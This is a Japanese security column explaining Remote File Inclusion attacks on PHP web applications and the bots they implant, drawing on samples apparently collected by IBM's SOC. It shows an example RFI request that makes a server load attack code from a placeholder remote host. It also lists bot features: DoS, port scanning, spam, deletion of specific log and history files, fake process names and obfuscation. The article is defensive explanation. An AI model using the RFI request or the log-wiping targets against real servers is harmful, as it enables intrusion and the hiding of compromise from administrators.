今週のSecurity Check(第200回)

 サーバーを攻撃する手法の一つにリモート・ファイル・インクルード(以下,RFI)攻撃がある。RFIはスクリプト言語のPHPで作成されたWebアプリケーションのぜい弱性を突くことで,リモートからWebページに攻撃コードを挿入し実行させる攻撃である。攻撃者は悪意のあるURLリクエストをWebサーバーに送るだけで,サーバーから情報を盗み出したり,データを改ざんしたりできる。ボットを埋め込む方法としても使われるため,注意が必要である。

 今回は実際の検体を基に,RFI攻撃を使って埋め込まれるボットの機能や,ボットに感染した場合の検知・対処方法,そして感染しないための予防法について解説する。

 RFI攻撃では以下のようなURLリクエストを送ることで,リモートの悪意あるサーバーXXXXで公開している攻撃コードattack.txtをWebサーバー(example.com)に読み込ませることができる(図1)。このため,Webアプリケーションと同じ動作権限で様々な攻撃コードを実行させることができる。

http://example.com/index.php?page=http://XXXX/attack.txt?

図1 RFI攻撃の例
図1 RFI攻撃の例
[画像のクリックで拡大表示]

 攻撃者はこれを利用し,外部からPHPで記述したボットをターゲット・サーバーへ送り込み,感染させることができる。

ボットの機能

 IBM SOC(セキュリティ・オペレーション・センター)で検知したRFI攻撃情報を基に収集したボットを調査した結果,ボットはクライアント・パソコンに感染するボットと異なり,ログ消去などサーバーへの感染を意識した機能を備えていることが分かった(表1)。

表1 一般的なボットの機能

機能解説
DoS(サービス妨害)攻撃SYN Flood,TCP Flood,HTTP Flood,UDP Flood
Port Scan機能Nmapや特定のポート・スキャン機能
メール送信機能スパム送信に利用(Sendmailの機能を利用,SMSの利用)
ログ消去機能特定の文字列を持つファイルやフォルダを消去

 ログの消去機能は表2で挙げたフォルダや,特徴を持ったファイルを消去する機能である。表2のファイルやフォルダは,RFI攻撃を仕掛ける際のURLリクエストのログや,コマンド実行のヒストリーが保存されている。これらのログを消去することで,感染したサーバーでの動作を隠ぺいしようとする。

表2 ボットが消去するログ・ファイルやフォルダの例
/var/log/lastlog
/var/log
/usr/local/apache/log
/var/log/wtmp
/var/logs
/usr/local/apache/logs
/etc/wtmp
/var/adm
/root/.bash_history
/var/run/utmp
/var/apache/log
/root/.ksh_history
/etc/utmp
/var/apache/logs
.bash_historyというファイルまたは,フォルダ
.bash_logoutというファイルまたは,フォルダ
logという文字列を含むファイルまたは,フォルダ

 さらに,以下のような特徴的な機能を持つボットもある。

・最新のぜい弱性を調査し,ぜい弱性があるサイトを検索サイトから調査する
 攻撃者はこのボットを通じて,最新のRFI攻撃に利用できるぜい弱性を検索する。さらにボットに,発見した新たなぜい弱性を抱えたWebサイトを検索させる。検索にはGoogleやYahoo!,AOLやMSNなど様々なサイトを利用する。検索サイトによってはこのようなぜい弱性を検索するリクエストに対して,エラーを返すものもある。

・フェイク・プロセスを作成する
 ボットに感染したことを検知されないようにするために,ボットとは分からないプロセス名で動作する。psコマンドなどを実行されても異なるプロセス名が出力されるように,“ssh”や“httpd”,“syslogd”や“cron”,“[bash]”などのプロセスを親プロセス名として子プロセスを実行させる。

・感染したホストが利用しているWebサーバー・ソフトを特定する
 Webサーバー・ソフトの種類を特定し,感染しているサーバーのプラットフォームを区別することで,プラットフォームごとに利用できるコマンドを判別する。

・コードを難読化して検知されないようにする
 コード内の特徴的な文字列を難読化して,実行時にデコードしながら利用するボットもある。難読化しているのは,ボットのコードをWebサーバーに送り込む際の検知を阻止するためと考えられる。ただ,ボットがIRCサーバーに送信するコマンド自体は難読化されていないため,ネットワーク上で容易に検知できる。以下が難読化されたボットのコードである。



[画像のクリックで拡大表示]

 PHPスクリプトの実行には実行時間の制限があり,デフォルトでは30秒しか実行し続けられない。ボットはその実行時間制限をset_time_limit(0)で無制限にすることで,1回のRFI攻撃でボットのプロセスが実行を続けるようにしている。PHPのプロセスが終了してしまうことを考慮してバックドア・プログラムをダウンロードしてくるボットもある。プログラム実行時にエラーが発生することも考えられるため,エラー出力をオフにする仕組みも備える。